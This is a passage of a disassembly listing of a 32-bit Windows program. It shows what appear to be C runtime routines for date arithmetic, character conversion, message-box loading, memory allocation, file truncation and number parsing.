ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420AAF shl esi, 2 mov eax, dword_43B500[esi] jmp short loc_420AB8 ; --------------------------------------------------------------------------- loc_420AAF: ; CODE XREF: sub_420A84+1Ej shl esi, 2 mov eax, dword_43B534[esi] loc_420AB8: ; CODE XREF: sub_420A84+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420AF2 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420AFC ; --------------------------------------------------------------------------- loc_420AF2: ; CODE XREF: sub_420A84+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420AFC: ; CODE XREF: sub_420A84+6Cj cmp [ebp+arg_10], 5 jnz short loc_420B3A cmp [ebp+arg_8], 0 jnz short loc_420B10 mov esi, dword_43B504[esi] jmp short loc_420B16 ; --------------------------------------------------------------------------- loc_420B10: ; CODE XREF: sub_420A84+82j mov esi, dword_43B538[esi] loc_420B16: ; CODE XREF: sub_420A84+8Aj cmp ecx, esi jle short loc_420B3A sub ecx, 7 jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1F: ; CODE XREF: sub_420A84+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420B30 mov ecx, dword_43B500[eax*4] jmp short loc_420B37 ; --------------------------------------------------------------------------- loc_420B30: ; CODE XREF: sub_420A84+A1j mov ecx, dword_43B534[eax*4] loc_420B37: ; CODE XREF: sub_420A84+AAj add ecx, [ebp+arg_18] loc_420B3A: ; CODE XREF: sub_420A84+7Cj ; sub_420A84+94j ... cmp [ebp+arg_0], 1 jnz short loc_420B6B mov eax, [ebp+arg_1C] mov dword_43B4EC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43B4E8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43B4F0, eax jmp short loc_420BC0 ; --------------------------------------------------------------------------- loc_420B6B: ; CODE XREF: sub_420A84+BAj mov eax, [ebp+arg_1C] mov dword_43B4FC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43B458 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43B500, eax jns short loc_420BA3 add eax, 5265C00h dec ecx mov dword_43B500, eax jmp short loc_420BB4 ; --------------------------------------------------------------------------- loc_420BA3: ; CODE XREF: sub_420A84+110j mov edx, 5265C00h cmp eax, edx jl short loc_420BBA sub eax, edx inc ecx mov dword_43B500, eax loc_420BB4: ; CODE XREF: sub_420A84+11Dj mov dword_43B4FC, ecx loc_420BBA: ; CODE XREF: sub_420A84+126j mov dword_43B4F8, ebx loc_420BC0: ; CODE XREF: sub_420A84+E5j pop esi pop ebx pop ebp retn sub_420A84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BC4 proc near ; CODE XREF: sub_41D497+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420BE7 cmp [ebp+arg_8], ebx jz short loc_420BE7 mov al, [esi] cmp al, bl jnz short loc_420BED mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420BE7 mov [eax], bx loc_420BE7: ; CODE XREF: sub_420BC4+Cj ; sub_420BC4+11j ... xor eax, eax loc_420BE9: ; CODE XREF: sub_420BC4+42j ; sub_420BC4+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420BED: ; CODE XREF: sub_420BC4+17j cmp dword_489540, ebx jnz short loc_420C08 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420C03 movzx ax, al mov [ecx], ax loc_420C03: ; CODE XREF: sub_420BC4+36j ; sub_420BC4+C0j push 1 pop eax jmp short loc_420BE9 ; --------------------------------------------------------------------------- loc_420C08: ; CODE XREF: sub_420BC4+2Fj mov ecx, off_438A80 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420C65 mov eax, dword_438C8C cmp eax, 1 jle short loc_420C4C cmp [ebp+arg_8], eax jl short loc_420C56 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_489550 call dword_423070 ; MultiByteToWideChar test eax, eax mov eax, dword_438C8C jnz short loc_420BE9 loc_420C4C: ; CODE XREF: sub_420BC4+5Cj cmp [ebp+arg_8], eax jb short loc_420C56 cmp [esi+1], bl jnz short loc_420BE9 loc_420C56: ; CODE XREF: sub_420BC4+61j ; sub_420BC4+8Bj ... mov dword_4894AC, 2Ah or eax, 0FFFFFFFFh jmp short loc_420BE9 ; --------------------------------------------------------------------------- loc_420C65: ; CODE XREF: sub_420BC4+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_489550 call dword_423070 ; MultiByteToWideChar test eax, eax jnz loc_420C03 jmp short loc_420C56 sub_420BC4 endp ; =============== S U B R O U T I N E ======================================= sub_420C8C proc near ; CODE XREF: sub_41D497+76p ; sub_41D497+88p ... arg_0 = dword ptr 4 cmp dword_438C8C, 1 jle short loc_420CA3 push 8 push [esp+4+arg_0] call sub_41A342 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420CA3: ; CODE XREF: sub_420C8C+7j mov eax, [esp+arg_0] mov ecx, off_438A80 mov al, [ecx+eax*2] and eax, 8 retn sub_420C8C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420CC0 proc near ; CODE XREF: sub_41D497+797p ; sub_41D497+7E7p cmp cl, 40h jnb short loc_420CDA cmp cl, 20h jnb short loc_420CD0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420CD0: ; CODE XREF: sub_420CC0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420CDA: ; CODE XREF: sub_420CC0+3j xor eax, eax xor edx, edx retn sub_420CC0 endp ; =============== S U B R O U T I N E ======================================= sub_420CDF proc near ; CODE XREF: sub_41DF0D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420D2B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420CFD test al, 80h jz short loc_420D2B test al, 2 jnz short loc_420D2B loc_420CFD: ; CODE XREF: sub_420CDF+14j cmp dword ptr [esi+8], 0 jnz short loc_420D0A push esi call sub_41F704 pop ecx loc_420D0A: ; CODE XREF: sub_420CDF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420D1A cmp dword ptr [esi+4], 0 jnz short loc_420D2B inc eax mov [esi], eax loc_420D1A: ; CODE XREF: sub_420CDF+30j test byte ptr [esi+0Ch], 40h jz short loc_420D31 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_420D37 inc eax mov [esi], eax loc_420D2B: ; CODE XREF: sub_420CDF+9j ; sub_420CDF+18j ... or eax, 0FFFFFFFFh loc_420D2E: ; CODE XREF: sub_420CDF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D31: ; CODE XREF: sub_420CDF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_420D37: ; CODE XREF: sub_420CDF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420D2E sub_420CDF endp ; =============== S U B R O U T I N E ======================================= sub_420D4D proc near ; CODE XREF: sub_41EE5A+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_420D5E add esp, 0Ch retn sub_420D4D endp ; =============== S U B R O U T I N E ======================================= sub_420D5E proc near ; CODE XREF: sub_420D4D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_48AA01[eax], cl jnz short loc_420D8B cmp [esp+arg_4], 0 jz short loc_420D84 movzx eax, word_438A8A[eax*2] and eax, [esp+arg_4] jmp short loc_420D86 ; --------------------------------------------------------------------------- loc_420D84: ; CODE XREF: sub_420D5E+16j xor eax, eax loc_420D86: ; CODE XREF: sub_420D5E+24j test eax, eax jnz short loc_420D8B retn ; --------------------------------------------------------------------------- loc_420D8B: ; CODE XREF: sub_420D5E+Fj ; sub_420D5E+2Aj push 1 pop eax retn sub_420D5E endp ; =============== S U B R O U T I N E ======================================= sub_420D8F proc near ; CODE XREF: sub_41F5B1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_489774, ebx push esi push edi jnz short loc_420DDE push offset aUser32_dll ; "user32.dll" call dword_4230E0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_420E14 mov esi, dword_4230DC push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_489774, eax jz short loc_420E14 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_489778, eax call esi ; GetProcAddress mov dword_48977C, eax loc_420DDE: ; CODE XREF: sub_420D8F+Bj mov eax, dword_489778 test eax, eax jz short loc_420DFD call eax mov ebx, eax test ebx, ebx jz short loc_420DFD mov eax, dword_48977C test eax, eax jz short loc_420DFD push ebx call eax mov ebx, eax loc_420DFD: ; CODE XREF: sub_420D8F+56j ; sub_420D8F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_489774 loc_420E10: ; CODE XREF: sub_420D8F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420E14: ; CODE XREF: sub_420D8F+1Cj ; sub_420D8F+33j xor eax, eax jmp short loc_420E10 sub_420D8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E18 proc near ; CODE XREF: sub_41F76E+22p ; sub_41F76E+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_420E39 test esi, esi jnz short loc_420E33 push 1 pop esi loc_420E33: ; CODE XREF: sub_420E18+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_420E39: ; CODE XREF: sub_420E18+12j ; sub_420E18+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_420E98 mov eax, dword_48AB28 cmp eax, 3 jnz short loc_420E64 mov eax, [ebp+arg_0] cmp eax, dword_48AB20 ja short loc_420E83 push eax call sub_41ADDD mov edi, eax pop ecx test edi, edi jnz short loc_420EAE jmp short loc_420E83 ; --------------------------------------------------------------------------- loc_420E64: ; CODE XREF: sub_420E18+30j cmp eax, 2 jnz short loc_420E83 cmp esi, dword_43ACC4 ja short loc_420E83 mov eax, esi shr eax, 4 push eax call sub_41B880 mov edi, eax pop ecx test edi, edi jnz short loc_420EC2 loc_420E83: ; CODE XREF: sub_420E18+3Bj ; sub_420E18+4Aj ... push esi push 8 push dword_48AB24 call dword_4230E8 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_420EBC loc_420E98: ; CODE XREF: sub_420E18+26j cmp dword_48950C, 0 jz short loc_420EBC push esi call sub_41A854 test eax, eax pop ecx jz short loc_420EC5 jmp short loc_420E39 ; --------------------------------------------------------------------------- loc_420EAE: ; CODE XREF: sub_420E18+48j push [ebp+arg_0] loc_420EB1: ; CODE XREF: sub_420E18+ABj push 0 push edi call sub_417030 add esp, 0Ch loc_420EBC: ; CODE XREF: sub_420E18+7Ej ; sub_420E18+87j mov eax, edi loc_420EBE: ; CODE XREF: sub_420E18+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_420EC2: ; CODE XREF: sub_420E18+69j push esi jmp short loc_420EB1 ; --------------------------------------------------------------------------- loc_420EC5: ; CODE XREF: sub_420E18+92j xor eax, eax jmp short loc_420EBE sub_420E18 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41F813 loc_420EC9: ; CODE XREF: sub_41F813+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_48A7C0, esi jle short loc_420F1C loc_420ED8: ; CODE XREF: sub_41F813+1707j mov eax, dword_4897A8 mov eax, [eax+esi*4] test eax, eax jz short loc_420F13 test byte ptr [eax+0Ch], 83h jz short loc_420EF7 push eax call sub_417600 cmp eax, 0FFFFFFFFh pop ecx jz short loc_420EF7 inc edi loc_420EF7: ; CODE XREF: sub_41F813+16D5j ; sub_41F813+16E1j cmp esi, 14h jl short loc_420F13 mov eax, dword_4897A8 push dword ptr [eax+esi*4] call sub_41793B mov eax, dword_4897A8 pop ecx and dword ptr [eax+esi*4], 0 loc_420F13: ; CODE XREF: sub_41F813+16CFj ; sub_41F813+16E7j inc esi cmp esi, dword_48A7C0 jl short loc_420ED8 loc_420F1C: ; CODE XREF: sub_41F813+16C3j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41F813 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420F21 proc near ; CODE XREF: sub_41FBF2+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417830 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_48A8E0 jnb loc_421056 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48A7E0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421056 push 1 push esi push ebx call sub_41E217 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421060 push 2 push esi push ebx call sub_41E217 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421060 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_421003 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417030 push 8000h push ebx call sub_421B5B add esp, 14h mov [ebp+arg_4], eax loc_420FB7: ; CODE XREF: sub_420F21+BDj mov eax, 1000h cmp edi, eax jge short loc_420FC2 mov eax, edi loc_420FC2: ; CODE XREF: sub_420F21+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41EAC2 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_420FE0 sub edi, eax test edi, edi jle short loc_420FF6 jmp short loc_420FB7 ; --------------------------------------------------------------------------- loc_420FE0: ; CODE XREF: sub_420F21+B5j cmp dword_4894B0, 5 jnz short loc_420FF3 mov dword_4894AC, 0Dh loc_420FF3: ; CODE XREF: sub_420F21+C6j or esi, 0FFFFFFFFh loc_420FF6: ; CODE XREF: sub_420F21+BBj push [ebp+arg_4] push ebx call sub_421B5B pop ecx pop ecx jmp short loc_421043 ; --------------------------------------------------------------------------- loc_421003: ; CODE XREF: sub_420F21+71j jge short loc_421043 push 0 push [ebp+arg_4] push ebx call sub_41E217 push ebx call sub_41FB5E add esp, 10h push eax call dword_423010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421043 mov dword_4894AC, 0Dh call dword_42308C ; RtlGetLastWin32Error mov dword_4894B0, eax loc_421043: ; CODE XREF: sub_420F21+E0j ; sub_420F21:loc_421003j ... push 0 push [ebp+arg_0] push ebx call sub_41E217 add esp, 0Ch mov eax, esi pop edi jmp short loc_421063 ; --------------------------------------------------------------------------- loc_421056: ; CODE XREF: sub_420F21+1Aj ; sub_420F21+36j mov dword_4894AC, 9 loc_421060: ; CODE XREF: sub_420F21+4Ej ; sub_420F21+63j or eax, 0FFFFFFFFh loc_421063: ; CODE XREF: sub_420F21+133j pop esi pop ebx leave retn sub_420F21 endp ; =============== S U B R O U T I N E ======================================= sub_421067 proc near ; CODE XREF: sub_42005D+2Bp ; sub_42005D+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42107D cmp ecx, esi jnb short loc_421080 loc_42107D: ; CODE XREF: sub_421067+10j push 1 pop eax loc_421080: ; CODE XREF: sub_421067+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421067 endp ; =============== S U B R O U T I N E ======================================= sub_421088 proc near ; CODE XREF: sub_421141+40p ; sub_421141+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421067 add esp, 0Ch test eax, eax jz short loc_4210BA lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421067 add esp, 0Ch test eax, eax jz short loc_4210BA inc dword ptr [esi+8] loc_4210BA: ; CODE XREF: sub_421088+19j ; sub_421088+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421067 add esp, 0Ch test eax, eax jz short loc_4210D2 inc dword ptr [esi+8] loc_4210D2: ; CODE XREF: sub_421088+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421067 add esp, 0Ch pop edi pop esi retn sub_421088 endp ; =============== S U B R O U T I N E ======================================= sub_4210E6 proc near ; CODE XREF: sub_421141+30p ; sub_421141+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4210E6 endp ; =============== S U B R O U T I N E ======================================= sub_421114 proc near ; CODE XREF: sub_4216D9+1C8p ; sub_421BD1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_421114 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421141 proc near ; CODE XREF: sub_421208+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_4211B5 push edi mov [ebp+arg_8], eax loc_421168: ; CODE XREF: sub_421141+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4210E6 push ebx call sub_4210E6 lea eax, [ebp+var_10] push eax push ebx call sub_421088 push ebx call sub_4210E6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421088 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421168 xor edx, edx pop edi loc_4211B5: ; CODE XREF: sub_421141+21j ; sub_421141+9Fj cmp [ebx+8], edx jnz short loc_4211E2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_4211B5 ; --------------------------------------------------------------------------- loc_4211E2: ; CODE XREF: sub_421141+77j mov esi, 8000h loc_4211E7: ; CODE XREF: sub_421141+B9j test [ebx+8], esi jnz short loc_4211FC push ebx call sub_4210E6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4211E7 ; --------------------------------------------------------------------------- loc_4211FC: ; CODE XREF: sub_421141+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421208 proc near ; CODE XREF: sub_4203A6+17p ; sub_4203D3+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421243: ; CODE XREF: sub_421208+52j mov cl, [edi] cmp cl, 20h jz short loc_421259 cmp cl, 9 jz short loc_421259 cmp cl, 0Ah jz short loc_421259 cmp cl, 0Dh jnz short loc_42125C loc_421259: ; CODE XREF: sub_421208+40j ; sub_421208+45j ... inc edi jmp short loc_421243 ; --------------------------------------------------------------------------- loc_42125C: ; CODE XREF: sub_421208+4Fj push 4 pop esi loc_42125F: ; CODE XREF: sub_421208+AEj ; sub_421208+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4214E2 ; default ; jumptable 0042126B case 10 jmp off_4216A9[eax*4] ; switch jump loc_421272: ; DATA XREF: .data:off_4216A9o cmp bl, 31h ; jumptable 0042126B case 0 jl short loc_421283 cmp bl, 39h jg short loc_421283 loc_42127C: ; CODE XREF: sub_421208+C4j ; sub_421208+118j push 3 jmp loc_4214A0 ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_421208+6Dj ; sub_421208+72j cmp bl, byte_438C90 jnz short loc_421292 loc_42128B: ; CODE XREF: sub_421208+124j push 5 jmp loc_4214D8 ; --------------------------------------------------------------------------- loc_421292: ; CODE XREF: sub_421208+81j movsx eax, bl sub eax, 2Bh jz short loc_4212B8 dec eax dec eax jz short loc_4212AC sub eax, 3 jnz loc_42157B jmp loc_42133B ; --------------------------------------------------------------------------- loc_4212AC: ; CODE XREF: sub_421208+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42125F ; --------------------------------------------------------------------------- loc_4212B8: ; CODE XREF: sub_421208+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42125F ; --------------------------------------------------------------------------- loc_4212C1: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o cmp bl, 31h ; jumptable 0042126B case 1 mov [ebp+var_10], edx jl short loc_4212CE cmp bl, 39h jle short loc_42127C loc_4212CE: ; CODE XREF: sub_421208+BFj cmp bl, byte_438C90 jz loc_421396 cmp bl, 2Bh jz short loc_421310 cmp bl, 2Dh jz short loc_421310 cmp bl, 30h jz short loc_42133B loc_4212E9: ; CODE XREF: sub_421208+207j cmp bl, 43h jle loc_42157B cmp bl, 45h jle short loc_421309 cmp bl, 63h jle loc_42157B cmp bl, 65h jg loc_42157B loc_421309: ; CODE XREF: sub_421208+EDj push 6 jmp loc_4214D8 ; --------------------------------------------------------------------------- loc_421310: ; CODE XREF: sub_421208+D5j ; sub_421208+DAj ... dec edi push 0Bh jmp loc_4214D8 ; --------------------------------------------------------------------------- loc_421318: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o cmp bl, 31h ; jumptable 0042126B case 2 jl short loc_421326 cmp bl, 39h jle loc_42127C loc_421326: ; CODE XREF: sub_421208+113j cmp bl, byte_438C90 jz loc_42128B cmp bl, 30h jnz loc_4214F0 loc_42133B: ; CODE XREF: sub_421208+9Fj ; sub_421208+DFj mov eax, edx jmp loc_42125F ; --------------------------------------------------------------------------- loc_421342: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o mov [ebp+var_10], edx ; jumptable 0042126B case 3 loc_421345: ; CODE XREF: sub_421208+184j cmp dword_438C8C, edx jle short loc_42135E movzx eax, bl push esi push eax call sub_41A342 pop ecx pop ecx push 1 pop edx jmp short loc_42136C ; --------------------------------------------------------------------------- loc_42135E: ; CODE XREF: sub_421208+143j mov ecx, off_438A80 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42136C: ; CODE XREF: sub_421208+154j test eax, eax jz short loc_42138E cmp [ebp+var_4], 19h jnb short loc_421386 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421389 ; --------------------------------------------------------------------------- loc_421386: ; CODE XREF: sub_421208+16Cj inc [ebp+var_8] loc_421389: ; CODE XREF: sub_421208+17Cj mov bl, [edi] inc edi jmp short loc_421345 ; --------------------------------------------------------------------------- loc_42138E: ; CODE XREF: sub_421208+166j cmp bl, byte_438C90 jnz short loc_4213FD loc_421396: ; CODE XREF: sub_421208+CCj mov eax, esi jmp loc_42125F ; --------------------------------------------------------------------------- loc_42139D: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o cmp [ebp+var_4], 0 ; jumptable 0042126B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_4213B6 loc_4213A9: ; CODE XREF: sub_421208+1ACj cmp bl, 30h jnz short loc_4213B6 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_4213B6: ; CODE XREF: sub_421208+19Fj ; sub_421208+1A4j ... cmp dword_438C8C, edx jle short loc_4213CF movzx eax, bl push esi push eax call sub_41A342 pop ecx pop ecx push 1 pop edx jmp short loc_4213DD ; --------------------------------------------------------------------------- loc_4213CF: ; CODE XREF: sub_421208+1B4j mov ecx, off_438A80 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4213DD: ; CODE XREF: sub_421208+1C5j test eax, eax jz short loc_4213FD cmp [ebp+var_4], 19h jnb short loc_4213F8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4213F8: ; CODE XREF: sub_421208+1DDj mov bl, [edi] inc edi jmp short loc_4213B6 ; --------------------------------------------------------------------------- loc_4213FD: ; CODE XREF: sub_421208+18Cj ; sub_421208+1D7j cmp bl, 2Bh jz loc_421310 cmp bl, 2Dh jz loc_421310 jmp loc_4212E9 ; --------------------------------------------------------------------------- loc_421414: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o cmp dword_438C8C, edx ; jumptable 0042126B case 5 mov [ebp+var_24], edx jle short loc_421430 movzx eax, bl push esi push eax call sub_41A342 pop ecx pop ecx push 1 pop edx jmp short loc_42143E ; --------------------------------------------------------------------------- loc_421430: ; CODE XREF: sub_421208+215j mov ecx, off_438A80 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42143E: ; CODE XREF: sub_421208+226j test eax, eax jz loc_4214F0 mov eax, esi jmp short loc_4214A1 ; --------------------------------------------------------------------------- loc_42144A: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o lea ecx, [edi-2] ; jumptable 0042126B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42145A cmp bl, 39h jle short loc_42149E loc_42145A: ; CODE XREF: sub_421208+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4214D6 dec eax dec eax jz short loc_4214CA sub eax, 3 jnz loc_42157E loc_42146F: ; CODE XREF: sub_421208+2A4j push 8 jmp short loc_4214D8 ; --------------------------------------------------------------------------- loc_421473: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o mov [ebp+var_20], edx ; jumptable 0042126B case 8 loc_421476: ; CODE XREF: sub_421208+276j cmp bl, 30h jnz short loc_421480 mov bl, [edi] inc edi jmp short loc_421476 ; --------------------------------------------------------------------------- loc_421480: ; CODE XREF: sub_421208+271j cmp bl, 31h jl loc_42157B cmp bl, 39h jg loc_42157B jmp short loc_42149E ; --------------------------------------------------------------------------- loc_421494: ; CODE XREF: sub_421208+63j ; DATA XREF: .data:off_4216A9o cmp bl, 31h ; jumptable 0042126B case 7 jl short loc_4214A7 cmp bl, 39h jg short loc_4214A7 loc_42149E: ; CODE XREF: sub_421208+250j ; sub_421208+28Aj push 9 loc_4214A0: ; CODE XREF: sub_421208+76j pop eax loc_4214A1: ; CODE XREF: sub_421208+240j dec edi jmp loc_42125F ; --------------------------------------------------------------------------- loc_4214A7: ; CODE XREF: sub_421208+28Fj ; 